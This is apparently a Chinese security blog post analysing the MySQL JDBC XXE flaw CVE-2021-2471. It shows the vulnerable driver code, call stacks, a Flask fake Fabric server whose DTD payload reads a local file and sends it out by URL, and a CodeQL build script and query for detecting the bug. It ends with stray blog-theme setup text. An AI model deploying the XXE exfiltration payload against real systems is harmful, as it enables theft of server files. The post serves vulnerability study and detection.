CodeQL with CVE-2021-2471

pyn3rd师傅的《Make JDBC Attack Brilliant Again》中有一个0day是mysql jdbc xxe，thread3am师傅也早就复现出来了，而且还发现了h2的xxe。膜一个，师傅们都太🐂🍺了。很多师傅们也复现了，再讲也没啥意思了，用CodeQL整点新的吧。

  1. CVE-2021-2471 mysql jdbc xxe在HITB ppt里面，没有讲DOMSource XXE这一部分，原因应该是pyn3rd师傅提漏洞还未公开，没写在ppt里面。所以这个洞有两个东西：

    a. DOMSource XXE, 影响所有版本，官方8.0.27中修复掉了

    b. Fabric XXE, 影响5.x, 在5.1.49中修复

  2. CodeQL CWE-611有XXE的检测poc，不过source源不支持mysql。

0x01 CVE-2021-2471

1.1 DOMSource XXE

漏洞代码在 com.mysql.cj.jdbc.MysqlSQLXML#getSource

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public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
    checkClosed();
    checkWorkingWithResult();

    // Note that we try and use streams here wherever possible for the day that the server actually supports streaming from server -> client
    // (futureproofing)

    if (clazz == null || clazz.equals(SAXSource.class)) {

        InputSource inputSource = null;

        if (this.fromResultSet) {
            inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
        } else {
            inputSource = new InputSource(new StringReader(this.stringRep));
        }

        return (T) new SAXSource(inputSource);
    } else if (clazz.equals(DOMSource.class)) {
        try {
            DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
            builderFactory.setNamespaceAware(true);
            DocumentBuilder builder = builderFactory.newDocumentBuilder();

            InputSource inputSource = null;

            if (this.fromResultSet) {
                inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
            } else {
                inputSource = new InputSource(new StringReader(this.stringRep));
            }

            return (T) new DOMSource(builder.parse(inputSource));
        } catch (Throwable t) {
            SQLException sqlEx = SQLError.createSQLException(t.getMessage(), MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, t, this.exceptionInterceptor);
            throw sqlEx;
        }

    } else if (clazz.equals(StreamSource.class)) {
        Reader reader = null;

        if (this.fromResultSet) {
            reader = this.owningResultSet.getCharacterStream(this.columnIndexOfXml);
        } else {
            reader = new StringReader(this.stringRep);
        }

        return (T) new StreamSource(reader);
    } else if (clazz.equals(StAXSource.class)) {
        try {
            Reader reader = null;

            if (this.fromResultSet) {
                reader = this.owningResultSet.getCharacterStream(this.columnIndexOfXml);
            } else {
                reader = new StringReader(this.stringRep);
            }

            return (T) new StAXSource(this.inputFactory.createXMLStreamReader(reader));
        } catch (XMLStreamException ex) {
            SQLException sqlEx = SQLError.createSQLException(ex.getMessage(), MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, ex, this.exceptionInterceptor);
            throw sqlEx;
        }
    } else {
        throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2", new Object[] { clazz.toString() }),
                MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, this.exceptionInterceptor);
    }
}

很明显的XXE了（StAXSource不能利用）

POC用thread3am是否的，见参考【5】

调用栈如下，也比较简单

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parse:327, DocumentBuilderImpl (com.sun.org.apache.xerces.internal.jaxp)
getSource:225, MysqlSQLXML (com.mysql.cj.jdbc)
main:33, OracleJDBC (com.m0d9.sec.jdbc.mssql)

1.2 Fabric XXE

漏洞触发代码在 com.mysql.fabric.xmlrpc.Client#execute

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public MethodResponse execute(MethodCall methodCall) throws IOException, ParserConfigurationException, SAXException, MySQLFabricException {
    HttpURLConnection connection = null;
    try {
      connection = (HttpURLConnection)this.url.openConnection();
      connection.setRequestMethod("POST");
      connection.setRequestProperty("User-Agent", "MySQL XML-RPC");
      connection.setRequestProperty("Content-Type", "text/xml");
      connection.setUseCaches(false);
      connection.setDoInput(true);
      connection.setDoOutput(true);

      
      for (Map.Entry<String, String> entry : this.headers.entrySet()) {
        connection.setRequestProperty((String)entry.getKey(), (String)entry.getValue());
      }
      
      String out = methodCall.toString();

      
      OutputStream os = connection.getOutputStream();
      os.write(out.getBytes());
      os.flush();
      os.close();

      
      InputStream is = connection.getInputStream();
      SAXParserFactory factory = SAXParserFactory.newInstance();
      SAXParser parser = factory.newSAXParser();
      ResponseParser saxp = new ResponseParser();
      
      parser.parse(is, saxp);
      
      is.close();
      
      MethodResponse resp = saxp.getMethodResponse();
      if (resp.getFault() != null) {
        throw new MySQLFabricException(resp.getFault());
      }

原理逻辑pyn3rd 师傅PPT给出来了，fake mysql fabric server 代码也给出来了

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# -*- coding=utf-8 -*-

from flask import Flask
app = Flask(__name__)

@app.route('/xxe.dtd', methods=['GET', 'POST'])
def xxe_oob():
    return '''<!ENTITY % aaaa SYSTEM "fiLe:///tmp/data">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM
'http://127,0.0.1:5000/xxe?data=%aaaa;'>"> %demo;
'''

@app.route('/', methods=['GET', 'POST'])
def dtd():
    return '''<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://127.0.0.1:5000/xxe.dtd"> %xd;]>
<root>&bbbb;</root>
'''

if __name__ == '__main__':
    app.run()

调用栈

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execute:91, Client (com.mysql.fabric.xmlrpc)
call:113, InternalXmlRpcMethodCaller (com.mysql.fabric.proto.xmlrpc)
errorSafeCallMethod:151, XmlRpcClient (com.mysql.fabric.proto.xmlrpc)
getServerGroups:200, XmlRpcClient (com.mysql.fabric.proto.xmlrpc)
getServerGroups:220, XmlRpcClient (com.mysql.fabric.proto.xmlrpc)
refreshState:71, FabricConnection (com.mysql.fabric)
<init>:46, FabricConnection (com.mysql.fabric)
<init>:203, FabricMySQLConnectionProxy (com.mysql.fabric.jdbc)
<init>:93, JDBC4FabricMySQLConnectionProxy (com.mysql.fabric.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (jdk.internal.reflect)
newInstance:62, NativeConstructorAccessorImpl (jdk.internal.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (jdk.internal.reflect)
newInstance:488, Constructor (java.lang.reflect)
handleNewInstance:425, Util (com.mysql.jdbc)
connect:78, FabricMySQLDriver (com.mysql.fabric.jdbc)
getConnection:677, DriverManager (java.sql)
getConnection:251, DriverManager (java.sql)

0x02 CodeQL with Mysql XXE

5.*的需要安装jdk5，比较麻烦，这里以8.0.26为例

2.1 Build Mysql QL DB

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#!/bin/bash

# download mysql-connector-j
wget https://github.com/mysql/mysql-connector-j/archive/refs/tags/8.0.25.tar.gz -O mysql-connector-j-8.0.25.tar.gz
tar -xzvf mysql-connector-j-8.0.25.tar.gz && cd mysql-connector-j-8.0.25

mkdir lib && cd lib

# download ant build libs
wget https://search.maven.org/remotecontent?filepath=org/junit/jupiter/junit-jupiter-api/5.6.2/junit-jupiter-api-5.6.2.jar -O junit-jupiter-api-5.6.2.jar
wget https://search.maven.org/remotecontent?filepath=org/junit/jupiter/junit-jupiter-engine/5.6.2/junit-jupiter-engine-5.6.2.jar -O junit-jupiter-engine-5.6.2.jar
wget https://search.maven.org/remotecontent?filepath=org/junit/platform/junit-platform-commons/1.6.2/junit-platform-commons-1.6.2.jar -O junit-platform-commons-1.6.2.jar
wget https://search.maven.org/remotecontent?filepath=org/junit/platform/junit-platform-engine/1.6.2/junit-platform-engine-1.6.2.jar -O junit-platform-engine-1.6.2.jar
wget https://search.maven.org/remotecontent?filepath=org/junit/platform/junit-platform-launcher/1.6.2/junit-platform-launcher-1.6.2.jar -O junit-platform-launcher-1.6.2.jar
wget https://search.maven.org/remotecontent?filepath=org/apiguardian/apiguardian-api/1.1.0/apiguardian-api-1.1.0.jar -O apiguardian-api-1.1.0.jar
wget https://search.maven.org/remotecontent?filepath=org/opentest4j/opentest4j/1.2.0/opentest4j-1.2.0.jar -O opentest4j-1.2.0.jar
wget https://search.maven.org/remotecontent?filepath=org/javassist/javassist/3.27.0-GA/javassist-3.27.0-GA.jar -O javassist-3.27.0-GA.jar
wget https://search.maven.org/remotecontent?filepath=com/google/protobuf/protobuf-java/3.11.4/protobuf-java-3.11.4.jar -O protobuf-java-3.11.4.jar
wget https://search.maven.org/remotecontent?filepath=com/mchange/c3p0/0.9.5.5/c3p0-0.9.5.5.jar -O c3p0-0.9.5.5.jar
wget https://search.maven.org/remotecontent?filepath=org/slf4j/slf4j-api/1.7.30/slf4j-api-1.7.30.jar -O slf4j-api-1.7.30.jar
wget https://search.maven.org/remotecontent?filepath=org/hamcrest/hamcrest/2.2/hamcrest-2.2.jar -O hamcrest-2.2.jar

# build.properties
cd ..
cat << EOF > build.properties
com.mysql.cj.build.jdk=$JAVA_HOME
com.mysql.cj.extra.libs=./lib
EOF

# codeql build
codeql database create mysql-qldb -l java --command="ant dist"
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/**
 * @name MySQL JDBC XXE
 * @description mysql jdbc xxe.
 * @kind path-problem
 * @problem.severity error
 * @precision high
 * @id java/xxe
 * @tags security
 *       external/cwe/cwe-611
 */

import java
import semmle.code.java.security.XmlParsers
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
import DataFlow::PathGraph
import semmle.code.java.frameworks.Jdbc


private class MySQLJdbcSource extends RemoteFlowSource {
  MySQLJdbcSource(){
    exists(MethodAccess m | m = this.asExpr() |
      (m.getMethod().getDeclaringType*().hasQualifiedName("com.mysql.cj.protocol.a", "SimplePacketReader")
        and (m.getMethod().hasName("readMessage") or m.getMethod().hasName("readHeader"))
      )
      or 
      (m.getMethod().getDeclaringType*().hasQualifiedName("com.mysql.cj.jdbc.result", "ResultSetImpl") 
        and (m.getMethod().getName().substring(0, 3) = "get")
      )
    )
}
  
    override string getSourceType() { result = "jdbc" }
}
  

class SafeSAXSourceFlowConfig extends TaintTracking2::Configuration {
  SafeSAXSourceFlowConfig() { this = "XmlParsers::SafeSAXSourceFlowConfig" }

  override predicate isSource(DataFlow::Node src) { src.asExpr() instanceof SafeSAXSource }

  override predicate isSink(DataFlow::Node sink) {
    sink.asExpr() = any(XmlParserCall parse).getSink()
  }

  override int fieldFlowBranchLimit() { result = 0 }
}

class UnsafeXxeSink extends DataFlow::ExprNode {
  UnsafeXxeSink() {
    not exists(SafeSAXSourceFlowConfig safeSource | safeSource.hasFlowTo(this)) and
    exists(XmlParserCall parse |
      parse.getSink() = this.getExpr() and
      not parse.isSafe()
    )
  }
}

class XxeConfig extends TaintTracking::Configuration {
  XxeConfig() { this = "XXE.ql::XxeConfig" }

  override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }

  override predicate isSink(DataFlow::Node sink) { sink instanceof UnsafeXxeSink }
}

from DataFlow::PathNode source, DataFlow::PathNode sink, XxeConfig conf
where conf.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "Unsafe parsing of XML file from $@.", source.getNode(),
  "user input"

upload successful

2.2.1 Update@2023

Sourc点改为更通用的接口

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private class MySQLJdbcSource extends RemoteFlowSource {
    MySQLJdbcSource(){
        exists(MethodAccess m | m = this.asExpr() |
            m.getMethod().getDeclaringType().getASourceSupertype*().hasQualifiedName("java.sql", "ResultSet")
            and m.getMethod().getName().matches("get%")
        )
    }
    override string getSourceType() { result = "jdbc" }
}

0x03 总结

Postgresql很早就有XXE CVE，横向思维是个好东西，可惜还是不够不能主动发现😭

CodeQL是个好东西，在构建调用图的基础上，有一套解释型语言来进行搜索，比neo4j要方便很多。值得深入学习，本篇算是记录CodeQL学习的入门篇，期待。。。

0x04 参考

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true